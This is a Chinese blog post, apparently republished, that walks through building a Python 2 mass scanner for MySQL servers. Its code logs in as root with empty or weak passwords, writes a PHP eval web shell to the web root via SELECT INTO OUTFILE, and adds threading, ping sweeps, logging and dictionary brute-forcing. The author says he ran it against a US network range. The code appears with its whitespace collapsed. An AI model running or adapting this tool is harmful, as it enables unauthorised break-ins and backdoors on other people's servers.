简介:原始脚本-1:#!/usr/bin/envpython#coding=utf-8#author:BlusimportMySQLdbdefmysql_connect1(ip,shell_url):#尝试数据库连接try:conn=MySQLdb.connect(host=ip,user="root",passwd="",db="",port=3306)cur=conn.cur ...

6小时获取上千台mysql数据库服务器!这就是Python的高效!

原始脚本-1:#!/usr/bin/envpython#coding=utf-8#author:BlusimportMySQLdbdefmysql_connect1(ip,shell_url):#尝试数据库连接try:conn=MySQLdb.connect(host=ip,user="root",passwd="",db="",port=3306)cur=conn.cursor()#若数据库连接成功,开始写马try:sql_insert="SELECT"<?php@eval($_POST[cmd]);?>"into outfile"{}";".format(shell_url)#printsql_insert;cur.execute(sql_insert)print"写入成功".decode()exceptException as e:print"写入错误"printe;returncur.close()conn.close()exceptMySQLdb.Error,e:print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])returnif__name__ == "__main__":fp_ip=open("ip.txt")shell_url= "D:/1.PHP"forip in fp_ip.readlines():fp4=ip.replace("","").replace("","")#url=str(fp5)printfp4mysql_connect1(ip,shell_url)print"检测结束"需要安装mysqldb,可自行参考网上教程。本人windwos环境直接在https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的过程用到outfile函数。这只是简单方法之一,之后会再探讨。记得私信菜鸟007哦

6小时获取上千台mysql数据库服务器!这就是Python的高效!

6小时获取上千台mysql数据库服务器!这就是Python的高效!

以下是这次修改后的完整的代码-2:#!/usr/bin/envpython#coding=utf-8#author:BlusimportMySQLdbimportthreadingimporttimeimportIPydefmysql_connect1(ip,shell_url,shell_content):#尝试数据库连接try:conn=MySQLdb.connect(host=ip,user="root",passwd="123456",db="",port=3306)cur=conn.cursor()#若数据库连接成功,开始写马try:sql_insert= "SELECT "{}"into outfile"{}";".format(shell_content,shell_url)printsql_insert;cur.execute(sql_insert)print"写入成功".decode()exceptException as e:print"写入错误"printe;returncur.close()conn.close()exceptMySQLdb.Error,e:print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])returnif__name__ == "__main__":#内容设置shell_url="../../../../wamp64/www/erg2313231.php";shell_content="<?php@eval($_POST[cmd]); ?>"#设置同时运行的线程数threads=25#要检测的IP网段ip1= IPy.IP("192.168.0.0/16")forip in ip1: ip=str(ip)while(threading.activeCount()>threads):time.sleep(1)threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start()print"检测结束"05改善速度,增加ping函数但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。)增加一个ping_ip函数,可参考http://blog.51cto.com/happylab/1742282

6小时获取上千台mysql数据库服务器!这就是Python的高效!

加上判断语句。若主机不存活,则退出

6小时获取上千台mysql数据库服务器!这就是Python的高效!

改好后再测试发现时间缩短一半。以下是这次的完整代码-3:#!/usr/bin/envpython#coding=utf-8#author:BlusimportMySQLdbimportthreadingimportIPyimport timeimportsubprocessdefmysql_connect1(ip,shell_url,shell_content):ifnot(ping_ip(ip)):#printip,"down"return#尝试数据库连接try:conn=MySQLdb.connect(host=ip,user="root",passwd="",db="",port=3306)cur=conn.cursor()#若数据库连接成功,开始写马try:#如果有重名数据库则删除该数据库cur.execute("DROPdatabase IF EXISTS `A123456`;")cur.execute("createdatabase A123456;")except:printip,"数据库创建错误"returncur.execute("useA123456;")try:cur.execute("CREATETABLE A123456.B123456 (C123456 TEXT NOT NULL );")printip,"表创建成功"except:printip,"表创建失败"returntry:shell_content2="INSERTINTOB123456(C123456)VALUES ("{}");".format(shell_content)cur.execute(shell_content2)printip,"一句话插入成功"except:printip,"一句话插入失败"return#这里设置小马导出后的路径,该目录需要有写权限且mysql没有开启secure-file-privtry:sql_insert="SELECTC123456 from B123456 into outfile "{}";".format(shell_url)cur.execute(sql_insert)printip,"写入成功".decode()exceptException as e:printip,"写入错误",ereturncur.close()conn.close()returnexceptMySQLdb.Error,e:print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])returndefping_ip(ip):#调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活cmd= "ping -w 1 %s" % ipp= subprocess.Popen(cmd,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True)result= p.stdout.read()regex= result.find("100%")#未匹配到就是-1#未匹配到就是存活主机if(regex == -1):return1else:return0if__name__ == "__main__":start= time.time()#内容设置shell_url="../../../../wamp64/www/erg2313231.php";shell_content="<?php($_=@$_GET[2]).@$_($_POST[1323222222])?>"#设置同时运行的线程数threads=25#要检测的IP网段ip1= IPy.IP("192.168.0.0/24")forip in ip1: ip=str(ip)while(threading.activeCount()>threads):time.sleep(1)t1=threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content))t1.start()#当线程只剩1时,说明执行完了while(threading.activeCount()!=1):time.sleep(1)print"检测结束"end= time.time()printend - start06日志记录接下来就是日志记录功能,记录哪些ip在线,哪些开放了3306端口,哪些已经连接成功。同时删除了小马写入的代码,因为在批量扫描,大部分服务器都是站库分离的情况下,该功能没什么用。 更改了以下几处:简单的日志记录函数:

6小时获取上千台mysql数据库服务器!这就是Python的高效!

记录日志的几种情况:

6小时获取上千台mysql数据库服务器!这就是Python的高效!

区分不同的报错信息:

6小时获取上千台mysql数据库服务器!这就是Python的高效!

以下是此次的完整代码-4:#!/usr/bin/envpython#coding=utf-8#author:BlusimportMySQLdbimportthreadingimporttimeimportIPyimportsubprocessdefmysql_connect1(ip):ifnot(ping_ip(ip)):#printip,"down"returnelse:#记录在线的ipip_log("ip_up.txt",ip,"")#尝试数据库连接try:conn=MySQLdb.connect(host=ip,user="root",passwd="",db="",port=3306)cur=conn.cursor()#记录开放3306端口的ipip_log("port_connected.txt",ip,"")exceptMySQLdb.Error,e:e= str(e)#记录报错信息printer1= e.find("Can"t connect") #端口未开放Mysql_Error:2003: Can"t connect to MySQL server on "35.164.6.48" (10060)r2= e.find("Access denied") # 端口开放但密码错误 Mysql_Error:1045: Access denied for user "root"@"localhost" (using password: YES)r3= e.find("not allowed") #端口只允许特定ip连接 Mysql_Error:1130: Host "172.17.14.2" is not allowed to connect to this MySQLserver#r3= e.find("Learn SQL!") #这限制特定了sql语句if(r1 != -1):#排除端口不开放的情况returnelif(r2!= -1):#ip_log("port_opend.txt",ip,"密码错误")ip_log("port_opend.txt",ip,e)elif(r3!= -1):#ip_log("port_opend.txt",ip , "不允许该IP连接")ip_log("port_opend.txt",ip , e)else:#ip_log("port_opend.txt",ip, "其他错误")ip_log("port_opend.txt",ip, e)returndefping_ip(ip):#调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活cmd= "ping -w 1 %s" % ipp= subprocess.Popen(cmd,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True)result= p.stdout.read()regex= result.find("100%")#未匹配到就是-1,就是存活主机if(regex == -1):return1else:return0def ip_log(txt_name,ip,content):f1= open(txt_name, "a")f1.write(ip+ " " + content + "")f1.close()if__name__ == "__main__":start= time.time()#设置同时运行的线程数threads=150#要检测的IP网段ip1= IPy.IP("192.168.0.0/16")forip in ip1: ip=str(ip)printipwhile(threading.activeCount()>threads):time.sleep(1)t1=threading.Thread(target=mysql_connect1,args=(ip,))t1.start()#当线程只剩1时,说明执行完了while(threading.activeCount()!=1):time.sleep(5)print"检测结束"这里代码已经开始杂乱了,暂且放着。改完后测试扫描了米国某网段一个小时,发现现在竟然还有空密码连接的洞,可能是网段选得好吧,有大量的在线服务器。开放端口的日志:

6小时获取上千台mysql数据库服务器!这就是Python的高效!

成功连接的日志:

6小时获取上千台mysql数据库服务器!这就是Python的高效!

07字典爆破当然,一个空密码连接不可能满足我们,再加上个弱口令爆破功能就更完美了。在mysql连接函数外套一个循环,循环读取txt中的每行密码进行尝试。注意:在读取txt字典里每行的内容时记得去掉””和“”这代表回车的符号,不然爆破密码时就带上了它们。

6小时获取上千台mysql数据库服务器!这就是Python的高效!

在过程中发现MySQLdb.connect的一个问题:

6小时获取上千台mysql数据库服务器!这就是Python的高效!

理论上当运行该函数长时间未连接端口时会抛出错误,但在实际过程中,有时候不会抛出错误,程序一直阻塞。去查阅了mysqldb的文档,发现有个连接超时(connect_timeou)的参数选项(如下图),当连接超时时会抛弃该连接。但一测试马上发现这个参数形同虚设,根本没用!

6小时获取上千台mysql数据库服务器!这就是Python的高效!

无奈,只能手动给函数加上时间限制,考虑了以下两个方法。方法一:使用signal.SIGALRM信号量,但SIGALRM只能在linux系统下使用可参考:https://stackoverflow.com/questions/366682/how-to-limit-execution-time-of-a-function-call-in-python方法二:使用多线程中的join()的超时参数,比如join(3)就是限制了子线程运行的时间为3秒。在此我采用方法二:

6小时获取上千台mysql数据库服务器!这就是Python的高效!

但同时需要注意的是try...except是无法捕捉线程中的报错的,因为线程有独立的栈,线程产生的异常发生在不同的栈上,因此无法捕捉到线程的异常。即捕捉不到3306端口连接错误,就无法根据报错信息来分析端口的连接情况。但如果在线程内部使用try..except来捕捉报错的话,线程自身又不返回值,无法告诉主函数端口的连接情况,也就无法确定是否要进行密码爆破,或者什么时候密码爆破成功,这时候又该怎么办呢? 查阅网上的资料,发现有利用类的变量来传递线程内的消息,也有使用Queue库创建队列实例来传递数据的。但总觉得有些“臃肿”,不太满意。思考着突然豁然开朗,可以在线程运行的函数内部判断端口的连接情况,然后用threading.Event()的标志设置与否,来传递结果,让主函数知道接下来该如何运行。设置了标志说明要进行下一步操作,未设置标志则return退出当前操作。关于threading.Event()的基础知识可参考:https://blog.csdn.net/u012067766/article/details/79734630修改后的主函数:

6小时获取上千台mysql数据库服务器!这就是Python的高效!

这里就不放上完整的代码了,因为紧接着马上又改进了效率。

本文仅代表作者个人观点,不代表巅云官方发声,对观点有疑义请先联系作者本人进行修改,若内容非法请联系平台管理员,邮箱2522407257@qq.com。更多相关资讯,请到巅云www.rzxsoft.cn学习互联网营销技术请到巅云建站www.rzxsoft.cn。